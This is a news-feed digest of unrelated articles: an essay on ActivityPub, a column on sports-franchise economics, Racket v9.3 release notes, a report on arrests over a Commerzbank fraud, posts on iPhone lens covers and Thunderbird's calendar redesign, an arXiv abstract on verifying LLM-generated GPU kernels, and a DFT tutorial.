If you want the primer before the argument, start with What Is ActivityPub? . This piece is about why those familiar parts mattered.

The protocol part is deliberately dull

Federation starts with a modest agreement. Independent networks agree to exchange activity data. They do not agree on a database, a moderation model, an admission policy, a user interface, a ranking system, or a product category.

That minimum agreement is the important part. Mastodon , PeerTube, Lemmy, WriteFreely, Pixelfed, WordPress, and small single-user servers keep their own shape. It is why our Mastodon service on C.IM, PeerTube service on P.LU, and Lemmy service on R.NF can share a social graph without becoming one product.

The ActivityPub specification describes two layers: a client-to-server API and a server-to-server federation protocol. In practice, the server-to-server part is where most Fediverse operators feel the machinery. Actors have inboxes and outboxes. Servers deliver activities to remote inboxes. Other servers fetch actor documents, objects, and collections by URL.

The model is almost aggressively plain. An activity is a sentence: subject, verb, object. Alice liked the article. Bob followed Alice. A server created a note. Someone announced a post. The thing crossing the wire is often the sentence about the content, not merely the content itself.

That distinction makes ActivityPub social. A content-sync protocol can move articles and images. A social protocol also has to move reactions, follows, blocks, shares, undo operations, and the context that makes those actions meaningful.

Prodromou’s funniest historical aside was that the activity concept traces back to 1930s Soviet activity theory, associated with psychologist Alexei Leontiev, and then wandered through user-experience research before landing in Activity Streams. The Fediverse running on repurposed Marxist psychology sounds like satire written by committee. Protocol concepts rarely arrive cleanly from first principles; they get dragged in from wherever the previous generation left useful tools.

The transport is even less exotic. ActivityPub uses HTTP. Fetch an actor’s URL to learn about the actor. POST an activity to an inbox to deliver it. The spec’s overview says the quiet part directly: inboxes and outboxes are URLs, and federation usually happens by servers posting messages to other servers’ inboxes.

Even the familiar user@domain handle is not fundamental to ActivityPub. It comes through WebFinger, a modernization of older Internet identity lookup habits. The protocol needs identifiers. Humans like handles because @ [email protected] fits in a search box better than a full actor URL.

This is why ActivityPub spread. JSON-ish objects, HTTP GET, HTTP POST, URLs, collections, actors, inboxes, outboxes. None of this is dazzling. Boring is implementable.

The technical debt is less charming

Boring protocols still accumulate weird debt. ActivityPub has a good example sitting in authentication.

The Fediverse commonly uses HTTP Signatures for server-to-server request authentication. The awkward part is which HTTP Signatures. The deployed Fediverse grew around the older draft-cavage-http-signatures-12 , an Internet-Draft that is now expired and archived. The IETF work later produced RFC 9421, HTTP Message Signatures , published in February 2024, with a different design.

Minimum-consensus evolution looks like this in practice: a draft is useful enough, implementers ship, the network grows, and the official standard arrives later with a different shape. Nobody can fix that by saying “the spec says” loudly at a server log.

Security has another blunt edge. ActivityPub has addressing. A to field can say which actor or collection an activity is intended for. Servers can deliver only to addressed recipients, and they can check authorization when someone fetches a private object. The ActivityPub spec explicitly allows servers to require authorization and return 403 or 404 when a request should not see a target object.

That gives the Fediverse an access-control model. It does not give it end-to-end encryption.

Content usually sits in cleartext on the instance that hosts it. Admins with database or filesystem access can read what their server stores. Backups, object storage, logs, full-text indexes, and search pipelines can widen the practical trust surface if an operator is careless.

For instance admins and self-hosters, this is the operational truth worth writing on the wall: the instance is the trust boundary.

Running your own server can shrink that boundary to infrastructure you control. Choosing someone else’s server means choosing an operator, their security practices, their backup habits, their incident response, and their judgment. That is the direct consequence of a federated publishing system without built-in end-to-end encryption.

Governance is a protocol surface

Open by default sounds clean until abuse arrives with a working DNS record.

ActivityPub lets anyone put a compatible server on the network. There is no department of the Fediverse where a new instance asks for a license. That openness is essential. It is also why defederation exists.

Defederation is the rough defense mechanism for a rough world: one server blocks another server. There is no president of the Fediverse. Blocks happen locally, sometimes coordinated through shared blocklists, public warnings, private admin channels, and community memory. Obvious abuse can trigger a fast cascade. Ambiguous cases become slow, political, and deeply human.

This is where the minimum viable agreement stops being enough. A protocol can define how to deliver a Create activity. It cannot decide which community should accept a server that has weak moderation, hostile users, a spam problem, or a different theory of speech.

The standards process has its own version of this tension. W3C consensus moves slowly because it is supposed to move together. That works when the goal is interoperability rather than speed. It becomes harder once the installed base is real.

Prodromou framed the problem clearly in the Q&A. ActivityPub still has room to be invented, but it already has more than a hundred implementations and tens of millions of users whose social graph should not be broken by a clean-sheet rewrite. Every improvement has to negotiate with existing software.

Even the language around the network carries governance history. “Social web” and “Fediverse” are technically close relatives, sometimes near-synonyms. “Fediverse” also carries the identity of the 2017 to 2022 wave: free software, open standards, LGBTQ communities, safety-conscious communities, left politics, anarchist politics, and a strong sense of “us” developed against large platforms that had already failed them.

That cultural memory affects protocol adoption. Bluesky can be bridged through Bridgy Fed. From one side, bridged Bluesky accounts may look like part of the Fediverse. From the other, the same bridge may look like ActivityPub accounts appearing in the Atmosphere.

The win condition is uncomfortable

Prodromou’s answer to “when has ActivityPub won?” was intentionally uncomfortable for some parts of the Fediverse.

Victory is not merely a thousand cozy instances, each with good local norms and a donation page that almost covers the object-storage bill. That world is valuable, but it does not change the default assumptions of the Internet.

His win condition was two or more hundred-million-user commercial networks federating over ActivityPub. Think Threads plus another large network such as LinkedIn or Snap. At that point, small independent servers could still participate as peers in the same network as the giants.

A huge commercial platform joining ActivityPub is both a validation of the standard and a threat to the culture that kept the standard alive. If the open protocol is strong enough, large platforms become participants. If it is weak, they become gravity wells.

Prodromou also pointed to large Chinese social networks as an opportunity: hundreds of millions of users, mostly disconnected from the global social web, potentially able to interconnect on their own terms through an open protocol. ActivityPub’s ambition is not to be a nicer microblogging club. It is connective tissue for social software.

The historical warning came from the late 1990s web. Dynamic web content could have gone through Java applets, controlled by Sun, or ActiveX, controlled by Microsoft. The boring outsider path was JavaScript. It took years, a lot of pain, and standards work for the open option to become the default.

The Fediverse should not assume it gets the same happy ending automatically. Large platforms can arrive with proprietary “solutions” for identity, portability, search, ranking, payments, moderation, trust, or quote posts, then try to turn deployment scale into standards authority. The open answers have to ship first.

ActivityPub’s next revision should feel anticlimactic

On January 15, 2026, W3C chartered a new Social Web Working Group chaired by Darius Kazemi. The active charter runs through January 31, 2028 and covers maintenance for ActivityPub, Activity Streams, Activity Vocabulary, WebSub, Micropub, Linked Data Notifications, Webmention, and related notes.

For ActivityPub operators, the most immediate milestones are deliberately modest. The charter lists expected completion in Q3 2026 for updated ActivityPub, Activity Streams, and Activity Vocabulary documents. Prodromou described the ActivityPub work as backward-compatible and largely editorial: clarify underspecified areas, document what existing implementations already depend on, and make the standard easier to implement without breaking the network that exists.

The current ActivityPub Recommendation is stable, but it is also a 2018 document carrying the assumptions and omissions of that moment. Common Fediverse content types and behaviors often live across ActivityStreams vocabulary, implementation practice, FEPs, project-specific extensions, and admin folklore. A maintenance revision that turns some of that into clearer text is exactly the sort of work operators notice only after fewer things fail strangely.

The same charter names LOLA as a tentative deliverable that the Working Group may adopt as a Recommendation-track specification, depending on incubation progress, implementer interest, and group consensus. LOLA is a proposal for live online account portability between ActivityPub servers at a user’s request. Its draft covers copying content, moving following relationships, notifying followers, redirects, and the trust decisions involved when one server asks another for a user’s account data.

Portability is where the boring protocol has to protect users from boring lock-in. If leaving a server means losing posts, followers, reactions, media, and social context, the Fediverse has recreated the trap with more domains in it.

After the maintenance revision, the conversation can move toward an eventual ActivityPub 2. The right model may look less like a flag day and more like HTTP evolution: old versions keep working while capable peers negotiate better behavior. Backward compatibility is how a social network avoids cutting its own graph in half.

The hard engineering ahead is not making ActivityPub cleverer. Clever protocols are easy to admire and hard to deploy. ActivityPub won because it made federation feel like ordinary Web plumbing. Now the network is growing into the parts that are less ordinary: signatures, privacy, moderation, portability, commercial scale, and standards governance under load.

The next phase should keep the machinery boring while the politics, economics, and user counts stop being small.

Watch the talk

The FediForum recording is worth watching because the jokes make the architecture easier to remember.

The American sports plutocracy

Hacker News
www.derekthompson.org
2026-08-14 14:43:49
Comments...
Original Article

This week, the businessman Mark Walter agreed to sell the Los Angeles Lakers to venture capitalist Josh Kushner and former Disney CEO Bob Iger. Walter had agreed to buy a majority stake in the Lakers just last summer, in a deal that valued the team at $10 billion. The latest deal values the iconic franchise at $12.5 billion, a 25 percent premium for roughly a year of Walter doing pretty much nothing, other than getting himself investigated for potential fraud.

Since last summer, federal agents have seized Walter’s phones and computers, and federal investigators have combed through transactions involving his insurance companies and the rest of his business holdings. Under pressure to raise billions in capital to clean up his books, Walter went looking for liquidity, and it came pouring from the heavens. From the Wall Street Journal :

With his business empire under scrutiny from federal investigators, Mark Walter was on the hunt for cash when, out of nowhere, he was about to be offered an enormous pile of money …

Joshua Kushner, the chief executive of Thrive Capital, was reaching out with a potentially gigantic offer. All he wanted to know was, would Walter be willing to sell the Los Angeles Lakers?

Over the following days, they ironed out one of the most sudden and shocking deals in sports. By Wednesday, Kushner and former Disney chief executive Bob Iger had agreed to buy a controlling stake in the storied franchise at a $12.5 billion valuation, the highest price ever paid for any sports team.

That Mark Walter is getting an Everest-sized pile of cash for doing less than nothing while perched atop an iconic asset is bullshit. But its rank putrescence is merely one piece of a larger societal turd: Billionaire sports ownership is, as a general matter, a cavalcade of bullshit.

In an age of surging wealth inequality, where stock market valuations routinely outpace median income growth by surreal factors, there is a live debate over whether billionaires should exist at all. The strongest argument for their rightfulness is that some people amass ten-figure wealth by building companies; by working within free markets to invent new technologies that millions or billions of people choose to use; and by managing complex enterprises that create billions or trillions of dollars in consumer welfare and investor value. But even this steelman case for billionaires presents as a kind of taunting insult to what often passes for sports ownership today. Professional-sports ownership offers the already-impossibly-rich a unique opportunity to become vastly richer, not necessarily by working, building, inventing, or doing anything positive at all, but rather by merely sitting on top of an asset that American law has conspired to make absurdly scarce and luridly profitable.

A thought experiment. Imagine if a diabolical oligarchic elite wanted to build an efficient and low-risk machine for turning their already-elevated wealth into exospherically extreme wealth. What might such a devious group of self-serving plutocrats want?

  • Unleash the forces of capitalism! you might think. But no, absolutely not. Capitalism is markets, and markets are ruthless. What you should want is legal permission to create a monopoly that builds a moat deep enough to keep all competition out . That way, you’ve got something much better than capitalism: artificial scarcity and pricing power without the risk of unwanted rivals.

  • Get the government off your back! you might say. Wrong again. You know what’s nicer than getting the government off your back? Getting the government on your side. You should crave dependable government subsidies to pad your profits.

So say, for example, that you wanted to set up this money machine in American professional sports. Your devious plan: shield leagues from antitrust law so owners can enjoy monopoly profits; use that market power to extract money from local governments; and rewrite the tax code to hand sports owners special advantages.

Lo and behold, all of this exists.

  1. Sports leagues are basically legal oligopolies: It’s perfectly legal to open the 31st grocery store or ice cream shop in your city. But you cannot declare yourself the 31st NBA franchise and join the NBA. The league’s existing owners control whether the NBA expands and who receives a franchise. Major sports leagues are de facto cartels with the power to block entry and competition. This artificial scarcity drives up the value of every existing franchise by insulating it from unwanted rivals who might apply market pressure.

    What’s more, the league’s broadcast TV revenue is partly cartelized by law. Imagine if the major airlines made a deal to stop selling tickets independently and instead negotiated prices collectively, pooled the revenue, and split the proceeds among themselves. This would be textbook cartel behavior—coordination over competition—that might be struck down under the Sherman Act, or some other antitrust law. But the Sports Broadcasting Act of 1961 exempts professional sports leagues, such as the NBA, NFL, and MLB, from some features of antitrust litigation. Legal revenue-sharing agreements might sound like a form of corporate socialism, which benefits the poorest small-market teams. But they also create a revenue floor for every team, which protects franchise values from the risk of decline.

  2. Labor law makes sports ownership even sweeter: Most industries can’t collude on worker salaries and employment. For example, Apple, Google, and Meta cannot get together and decide that Stanford’s top comp-sci grad must work for Microsoft because Microsoft’s stock had the worst 2025 performance and thus earned the top draft pick. In sports, however, this is standard practice. US labor law allows teams and player unions to collectively bargain over employment terms—drafts, salary caps, free-agency restrictions, etc—outside typical antitrust rules. The result is nice for fans, since the worse your team does, the better the odds that you’ll get the best draft picks. But it’s just as nice for owners, since competitive balance, like revenue sharing, can increase the value of every franchise by protecting the asset from the risk of decline.

  3. Sports stadiums have become legal ransom: A normal company that needs a billion-dollar factory has to build the thing on their own. But nothing about American sports is normal.

    Since the leagues restrict the number of franchises, while states compete against one another for a small number of teams, cities often feel pressured to subsidize the construction of stadiums to keep team owners from running toward some other town whose mayor is dangling a wad of money. (This happens despite the fact that economic research has repeatedly found that they rarely generate enough marginally income, employment, or tax revenue to justify the subsidy.) Until the middle of the 20th century, it was common for stadiums to be privately financed. But a Congressional Research Service report found that about three-quarters of stadiums completed in the 21st century were at least partly financed by local governments, typically with tax-exempt municipal bonds.

    One instructive example is the 2009 construction bill for Yankee Stadium. The total cost: about $2.5 billion. But nearly $1.7 billion of it was financed with tax-exempt municipal bonds. Since interest on those bonds avoids federal taxation, the federal government effectively offered the stadium an additional subsidy of more than $400 million, according to Brookings researchers . Add it up across the leagues, and Brookings puts the federal subsidy to professional sports stadiums since 2000 at more than $4 billion.

  4. Team-owner tax benefits put the cherry on top: Billionaires who buy sports franchises can “amortize” the price of their acquisition over more than a decade, which is normal for most businesses but a bit strange for sports. This often allows team owners to deduct hundreds of millions of dollars from their annual taxable income, allowing them to consistently pay a lower effective tax rate than the janitors who clean their municipally financed bathrooms, as ProPublica reported . So, for example, a typical owner buying a multibillion-dollar team today can often claim $100 million or more in deductions. A team that generates $90 million in profit could still report a tax loss after the deduction.

In short, American sports teams are among the most valuable assets in modern capitalism in part because we don’t treat them at all like capitalist businesses. The law raises the ceiling of team valuations by restricting competition while protecting the floor of valuations by collectivizing television revenue and limiting labor flexibility. Then we subsidize the stadiums and draw up the tax code to let billionaire owners minimize their checks to the IRS, even when their exquisitely coddled organizations pull in ginormous profits.

People sometimes compare buying sports franchises to buying works of fine art—say, a Monet, a Calder, or a Rodin. In both cases, the simplest answer to the common question “Why is that thing worth so much?” is always “Because someone rich was willing to pay it.”

But there is an important difference between the factors that push up the value of Monet paintings and those of sports franchises. Think about why a Monet painting is so valuable. Setting aside the irresolvable debate about the ineffable nature of beauty and quality and artistic pleasure, the underlying fact is that a Monet painting is valuable because it was painted by Claude Monet, a famous individual who once lived, and is now dead. The finality and scarcity of the Impressionist oeuvre—the fact that one can buy a painting from Monet’s Rouen Cathedral series and not worry that he will paint 100 more tomorrow—is a function of his mortality. There is no scientific or technological means by which anyone can exhume and reanimate Monet’s skeleton, sit the zombie upright in a chair, hand him a paintbrush, an easel, and a cup of tea, and say, “Now that you’re all settled, I’d like 500 additions to the Rouen Cathedral series.”

But the scarcity of sports franchises emerges from the laws of mankind, not the laws of nature. It benefits from a set of rules, laws, and customs that we made up and that can be redrawn in a way that Rouen’s facade never will be.

I am not a fan of conspiracies, and I am not a socialist. But nothing makes me feel more socialist than the public, out-in-the-open conspiracy to buttress the value of sports assets, whose lush beneficiaries tend to be impossibly rich already. Solutions here are hard. Many fans like the weird, market-warping rules of professional sports, which often promote parity and competition and keep favorite players on long contracts; plus I don’t think doubling the number of NBA or NFL teams is particularly desirable among most fans. But ameliorations are possible. Tax law could further restrict the ability to team owners to amortize. And honestly, I don’t know why some local governments shouldn’t own stakes in the professional sports teams that they often directly finance. I’m not sure exactly how this would work, and I’m sure that there would be some negative side effects of literally socializing the already-kinda-socialist dynamic of professional sports. But the status quo is vile enough to justify some experiments. What we have today is a handful of lucky, franchise-owning billionaires who get to sit at a poker table where every card they turn over has a face or an ace. I wouldn’t call it cheating. I wouldn’t call the legal structure of American sports cheating or corrupt. I would call it … the law. But the law is bad.

Discussion about this post

Ready for more?

Racket v9.3

Hacker News
blog.racket-lang.org
2026-08-14 14:14:48
Comments...
Original Article

posted by Stephen De Gabrielle and John Clements


We are pleased to announce Racket v9.3 is now available from https://download.racket-lang.org/ .

As of this release:

  • The raco setup command can generate markdown documentation, using the --doc-markdown option.
  • The "#lang" teaching languages (BSL, …, ISL+; plus DeinProgram) have reached parity with the ones chosen using the Language dialog, and are the recommended choice.
  • DrRacket’s background expansion disables errortrace annotations, for faster syntax checking .
  • The raco pkg install command includes new options that provide more install-time configuration flexibility: --adjacent-deps , --destdir , and --attach , and a refined --skip-installed .
  • The ffi/unsafe/runtime-lib library provides a define-runtime-lib mechanism similar to define-runtime-path , allowing location of libraries located relative to a source file.
  • The prompt-tag/c contract generator no longer performs checking on call/cc when the #:call/cc option is not present.
  • The impersonate-prompt-tag function takes an additional argument that allows checking and update of results for composable continuations.
  • The error-syntax->srcloc-handler parameter provides control over the mapping from syntactic forms to source locations for error handling.
  • Uses of (tcp-listen 0) will retry when it fails with “address in use”.
  • The racket/base module requires fewer internal modules and instantiations.
  • The file/zip package provides a new mechanism for greatly increased control over zip file generation, allowing in-memory file sources and per-file compression control.

Thank you

The following people contributed to this release:

Alex Knauth, Alexander Shopov, Aris Spathis, Bert De Ketelaere, Bob Burger, Caleb Mazalevskis, Cameron Moy, Geoffrey J. Teale, Gustavo Massaccesi, Hannes Braun, Jade Sailor, Jason Hemann, Jens Axel Søgaard, John Clements, Jordan Johnson, Matthew Flatt, Matthias Felleisen, Mike Sperber, Nathan Dykman, Noah Ma, Philip McGrath, Robby Findler, Romeo Ahmed, Sam Tobin-Hochstadt, Shu-Hung You, Stefan Schwarzer, Stephen De Gabrielle, and Wing Hei Chan.

Racket is a community developed open source project and we welcome new contributors. See racket/README.md to learn how you can be a part of this amazing project.

Feedback Welcome

Questions and discussion welcome at the Racket community on Discourse or Discord .

If you can - please help get the word out to users and platform specific repo packagers

Racket - the Language-Oriented Programming Language - version 9.3 is now available from https://download.racket-lang.org

See https://blog.racket-lang.org/2026/08/racket-v9-3.html for the release announcement and highlights.

Hackers arrested over €30M bank fraud exploiting service provider flaw

Bleeping Computer
www.bleepingcomputer.com
2026-08-14 14:04:26
Four cybercriminals were arrested in Brazil, and three others were charged in Europe over allegations that they exploited a vulnerability at a service provider, allowing them to withdraw funds from Commerzbank customers' bank accounts. [...]...
Original Article

Hackers arrested over €30M bank fraud exploiting service provider flaw

Four cybercriminals were arrested in Brazil, and three others were charged in Europe over allegations that they exploited a vulnerability at a service provider, allowing them to withdraw funds from Commerzbank customers’ bank accounts.

The theft, investigated by the Brazilian and German federal police agencies, occurred over four days in November 2023 and caused losses of around €30 million ($34.6 million).

While neither the Brazilian Federal Police nor Germany's BKA named the affected German financial institution, Brazilian media identified it as Commerzbank, a major European financial institution that generates more than €11.1 billion ($12.8 billion) in annual revenue.

image

In a statement for BleepingComputer, the bank confirmed that its clients were impacted by the fraudulent activity but customers suffered no financial losses.

"The fraud case is known and dates back to 2023. Due to technical issues at a service provider, unauthorized direct debits were made from customer accounts. There was no financial loss to customers. We cooperated closely and extensively with the authorities," a Commerzbank spokesperson told Bleeping Computer.

German authorities say that the hackers exploited a software vulnerability introduced by a faulty software update at the payment and transaction-processing system of a financial institution.

In November 2023, the attackers initiated numerous unauthorized withdrawals from various German online banking accounts and routed the stolen funds to Brazil through a larger network designed to conceal their origin.

According to the authorities, the largest portion of the funds was withdrawn in Brazil, while a smaller share was cashed out in four European countries.

The police identified another three suspects in Europe, who will be prosecuted in Spain and Bulgaria by law enforcement authorities in the two countries.

Investigators found that the attackers moved and concealed the proceeds through pass-through accounts, companies, payment institutions, virtual-asset platforms, and payment cards issued without the beneficiaries’ consent.

Yesterday, Brazil’s Federal Police launched “Operation Klonen,” with support from Germany’s BKA, and executed 21 search-and-seizure warrants across seven cities in Brazil.

The action resulted in the arrest of four suspects under preventive detention warrants in Rio de Janeiro, Guarulhos, Goiânia, and Carapicuíba.

Brazilian authorities found that one of the suspects ran for elected office in 2024 and used some of the illicit funds to back their political campaign.

A Brazilian federal court also ordered the seizure of financial assets, vehicles, and real estate worth up to R$106 million ($22.4M).

The arrested suspects face various charges, including aggravated theft through electronic fraud, participation in a criminal organization, and money laundering.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

★ You Don’t Need to Worry About Scratching Your iPhone Camera Lenses

Daring Fireball
daringfireball.net
2026-08-14 13:16:15
The exposed lens covers are made of sapphire, not glass, and are thus incredibly scratch resistant. And even if, somehow, do you pick up a scratch on a lens cover, it almost certainly won’t affect image quality at all....
Original Article

Following up on my post yesterday about modern iPhones and scratch resistance , and my personal habits of (a) almost never using an iPhone case, and (b) never setting the iPhone face down except on soft (cloth) surfaces.

I should have anticipated this, because I’ve had this conversation with real-world normies repeatedly in recent years, but I got a bunch of questions from people who say they’re wary of ever putting their iPhone down on its back because they’re worried about scratching the camera lenses. That’s not a silly thing to worry about. It looks like those lenses are glass; glass scratches; and it sure seems like a scratched camera lens might forever ruin all the photos and videos you take with the camera.

There are a couple misconceptions here though. First, the flat round circles exposed on the back of your phone aren’t the camera lenses. Those are covers over the lenses, which are smaller, round, and recessed. You can look through the covers and see the actual spherical lenses inside. The exposed lens covers are made of sapphire, not glass, and are thus incredibly scratch resistant. They’re by far the most scratch-resistant parts of the phone. I’ve never once found even a tiny scratch on any of my iPhone camera lens covers, and I’ve never taken any particular care to avoid scratching them. I mean, I don’t drag the lenses face-down on surfaces. I’m not trying to scratch them. But I set my phones down on hard surfaces lenses-down all the time and they never seem to pick up even fine scratches.

Zack “JerryRigEverything” Nelson is the guy on YouTube who makes videos where he scratches the hell out of products to see how durable they are. (And he bends them, burns them, and abuses them in other creative ways.) In his iPhone 17 Pro video, starting around the 4:10 mark , he tries scratching the sapphire lens covers with a sharp razor blade. No effect. Sapphire is far more likely to shatter than scratch, because it’s so hard. (You may recall that a decade ago Apple pursued using sapphire for the displays of iPhone but it didn’t work out .) Don’t try scratching your lenses with a diamond hardness pick and you’ll be fine.

Also, believe it or not, a fine scratch on the lens cover will almost certainly not affect image quality at all . Trying sticking a piece of hair (which is probably much thicker than a typical scratch) to the surface of your iPhone 1× main camera lens. Take a picture. Clean the hair off the lens. Retake the same picture. You almost certainly won’t see any difference at all . Here’s a great video from DPReview back in 2020 showing just how much dust or scratching you need to put on the outside of a lens to degrade image quality. It’s counterintuitive but the surface of the lens is not where light is focused — the sensor, inside the camera, is.

Thunderbird’s Desktop Calendar Visual Redesign

Lobsters
blog.thunderbird.net
2026-08-14 13:03:04
Comments...
Original Article
featured post title image

Hello, Thunderbird community and followers of the blog! This is Jesse from the design team. Today’s post is about our recent journey in redesigning the calendar portion of Thunderbird, and what you can expect us to deliver in the near future.

The calendar is a key part of any productivity toolset, from your PC Desktop to your office wall. There has been a calendar in Thunderbird since early in the project, and like all parts of the application, it’s evolved on its own terms, for better or for worse. It has many layers of functionality, but the experience has lost parity with current UI standards — at this point, it feels stylistically dated and functionally convoluted.

So, with the help of the design team and the developers and the community, we have taken on the task of modernizing and streamlining the calendar. This is my account of the designers’ part of that journey.

The Big Picture

Here are some of our guiding principles for this redesign:

First, we are here to serve the entire user base, not just the technical experts, or the productivity enthusiasts, or the brand new adoptees. For this reason, the dialog with the community is critical: we need to understand as many of the use cases and interaction patterns as possible, and we want to support them broadly, and efficiently, and effectively. Our ideal solution is open and flexible, respecting the broad range of users who rely on Thunderbird.

Second, a key point: Thunderbird is aiming higher than being simply “the other email client.” We are all committed to creating an experience that meets and exceeds expectations, and competes directly with the oliphaunts in the room: the Google Calendars, the Apple and Microsoft application suites, and the many targeted productivity apps that jockey for this space.

And as always, we will do this transparently, with an open source philosophy, in collaboration with our users and contributors.

The Journey

This design journey has been ramping up for several years now, in parallel with other company initiatives (Mobile! Web! Accessibility!). As our design practice has evolved, we have worked on the project from several directions, redesigning dialogs and rethinking patterns and collecting insights. For a while, this meant a lot of partial designs, but without a guiding vision.

Among these early designs, one of our success stories was a visual and functional update of the Event Details dialog, to replace the existing, rather archaic event details window (”archaic” both visually and in terms of code). These were one of the first redesigns to reach a point where it could be implemented — prioritized partly because it’s a self-contained element, able to be tested without reworking the whole calendar code base.

If you use Thunderbird Daily, you may recognize this:

We’ve followed this pattern for several other bits and bobs, including the dialog for editing an event, and the notification for unanswered invitations. In all cases, these changes will create better contrast and visual hierarchy, and improve the visibility and organization of controls:

This alone could provide enough work for several release cycles. But designing isolated elements creates inconsistency and debt, both for design and development. As the design process on Calendar increased in velocity, it became clear that we needed to articulate a unifying vision.

Bringing it together

With these designs setting a direction, we had to step back and decide how all the pieces would fit together. In order to do that, we still had to answer three more questions:

  • How does the actual calendar grid look, set to view a day, a week, a month, or a year?
  • How does the user change their view and navigate forward and backward?
  • How does the user connect to their calendars, and manage them all in one place?

These considerations led us to a lean design, with screen space broken up into three main sections. First is the grid, which provides the main element at the center of the layout — the user’s primary workspace. Second is the navigation bar, directly above the grid. Third is a sidebar for managing calendars — the nerve center for your calendars and data sources. This design, focused on the most important functional areas, provided a great foundation for all the necessary functionality, with low friction and strong fundamentals.

The blueprint for our design (called a “wireframe” in the UX design world) ended up looking like this:

The grid acts as the user’s main workspace, and the header and navigation provide their basic controls.

Here is a final design mock-up, which will provide the basis for development (this one is showing a week view in the main grid):

Given the wide range of our users’ scheduling needs, we decided the calendar sidebar should be collapsible, and useful at both large and small sizes, so that users could decide how much of a footprint they needed to manage their calendar list.Here is the screen with the sidebar in a collapsed state, showing a Month view in the main grid:

And here is this screen after the user has pressed “New Event,” showing the Create Event window over the interface:

Where we go from here

As these elements came together, we also turned outward and looked to our community for more feedback. Through the various stages of design, we published two TopicBox posts ( here and here ), and we ran a short but informative survey, looking for initial reactions to the direction we were taking.

This feedback has been very encouraging, and also enlightening: we have seen a positive response to our designs, and we’ve also gathered lots of insights on what you cite as most important (task integration, platform interoperability, and a re-assessment of agenda, mini-month, and multi-week views, to name a few).

These discussions gave us some additional confidence, but more so, they reminded us that we are still at the beginning of a longer arc. After we develop version 1 of our new calendar design, we will follow signals from our users as we plot a path forward. The new calendar design will clean up and simplify many aspects of the experience, but it will only be a promising first step (sort of the Rivendell stage of the epic). We will have many more cycles of design and iteration to bring our users the toolset they deserve.

For now, we venture forth, from design to implementation, and then from implementation to feedback and engagement. The new calendar will be released gradually, via proper channels, so users can try it and provide feedback — and feedback will be appreciated! We will be looking for usability testers and survey participants as we keep refining the roadmap.

The future of calendar is wide open, and much brighter and less gray than the bygone era. We appreciate all the support we’ve gotten from the community so far, and we hope you’ll continue with us as we keep making Thunderbird awesome.

A Contract-Grade Verifier for LLM-Generated GPU Kernels

Hacker News
arxiv.org
2026-08-14 12:57:14
Comments...
Original Article

View PDF HTML (experimental)

Abstract: Systems that generate GPU kernels with language models report high correctness rates. Those rates come from a single loose test: run the kernel on a few random inputs at one fixed shape and accept it if the output is close to a reference. A kernel can pass that test and still be silently wrong. It can return an ordinary number where the true answer is a NaN or an infinity, differ from run to run, break when the shape changes, or accumulate in fp16 where the reference keeps an fp32 total. We build the instrument that checks correctness properly: a contract-grade verifier of twelve adversarial gates, each a property a correct kernel must satisfy, several of them tolerance-free, so no choice of threshold can explain a failure away. Aimed outward, the verifier audits 2,638 machine-generated kernels that a public system's own harness had already accepted as correct. It finds 39.5% broken beyond any tolerance argument and 62.1% carrying at least one violation. The field's standard test accepts 1,487 kernels the verifier rejects, against only 14 the other way. We defend the finding four independent ways: a 7/7 positive control, a threshold-calibration sweep, 98.5% agreement with the reference benchmark's own correctness code, and a stratified hand-audit. Aimed inward, the verifier judges a kernel of our own: the first native Blackwell tcgen05 training backward for the gated-linear-recurrence (GDN) family, including the reverse-state stage the field still runs on a fallback. We establish its correctness independently, against a double-precision oracle, and train five family members through it. The correctness signal behind reported progress in kernel generation is far weaker than the numbers suggest, and a set of tolerance-free contracts would close most of the gap.

Submission history

From: Rishi Shah [ view email ]
[v1] Thu, 13 Aug 2026 01:25:56 UTC (149 KB)

Discrete Fourier Transform by Hand

Hacker News
www.byhand.ai
2026-08-14 12:52:46
Comments...
Original Article

Library Calculating AI by Hand ✍️

  1. Matrix Multiplication by Hand ✍️

  2. Multi Layer Perceptron (MLP) by Hand ✍️

  3. Backpropagation by Hand ✍️

  4. SVM by Hand ✍️

  5. Batch Normalization by Hand ✍️

  6. Dropout by Hand ✍️

  7. Recurrent Neural Network (RNN) by Hand ✍️

  8. LSTM by Hand ✍️

  9. Deep RNN by Hand ✍️

  10. Self Attention by Hand ✍️

  11. Transformer by Hand ✍️

  12. Autoencoder by Hand ✍️

  13. Variational Auto Encoder (VAE) by Hand ✍️

  14. Sparse Auto Encoder (SAE) by Hand ✍️

  15. Generative Adversarial Network (GAN) by Hand ✍️

  16. Sampling a Sentence by Hand ✍️

  17. Residual Network by Hand ✍️

  18. U-Net by Hand ✍️

  19. Discrete Fourier Transform by Hand ✍️

  20. Graph Convolutional Network (GCN) by Hand ✍️

  21. CLIP by Hand ✍️

  22. Vector Database by Hand ✍️

  23. Mixture of Experts (MoE) by Hand ✍️

  24. Switch Transformer by Hand ✍️

  25. Mamba's S6 by Hand ✍️

  26. Sora's Diffusion Transformer (DiT) by Hand ✍️

  27. BitNet by Hand ✍️

  28. Reinforcement Learning with Human Feedback (RLHF) by Hand ✍️

In signal processing, the Discrete Fourier Transform (DFT) is no doubt the most important method. But the math involved is extremely complex, literally, involving a summation over a complex number term e^(-iwt), where e is the Euler number, i is the imaginary unit, w is the angular frequency, and t is time.

I developed this exercise to demonstrate that underneath such complexity, DFT is just a series of matrix multiplications you can calculate by hand. ✍️ Once you see that, it should not surprise you that a deep neural network, which is also a series of matrix multiplications, with activation functions in-between, can learn to perform DFT to process and analyze signals so effectively.

💡 Learned vs. Fixed: U-Net learns its filters from data to process a signal in the spatial domain. The DFT is the classical opposite, a fixed transform, designed by hand rather than learned, that views the same signal in the frequency domain as a combination of cosine waves.

How does DFT work?

  • Signals A, B, and C in the 🟧 frequency domain:

  • A = cos(w) + 2cos(2w)

  • B = cos(w) + cos(3w) + cos(4w)

  • C = -cos(2w) + cos(3w)

  • Each signal is a weighed sum of four cosine waves at frequencies 1w, 2w, 3w, and 4w.

  • We will apply Inverse DFT to convert the signals to time domain representations, and then demonstrate DFT can convert back to their original frequency domain representations.

  • Signal X in the 🟩 time domain. X is sampled at 10 time points 1t, 2t, …, 10t:

  • X = [-2.5, -1.8, 3, -0.7, -1.0, -0.7, 3, -1.8, -2.5, 5]

  • Suppose X is also a weighted sum of the same four cosine waves, but we don’t already know their weights. We will apply DFT to discover them.

  • Write the coefficients of A, B, C as a matrix F. Each signal is a row. Each frequency is a column.

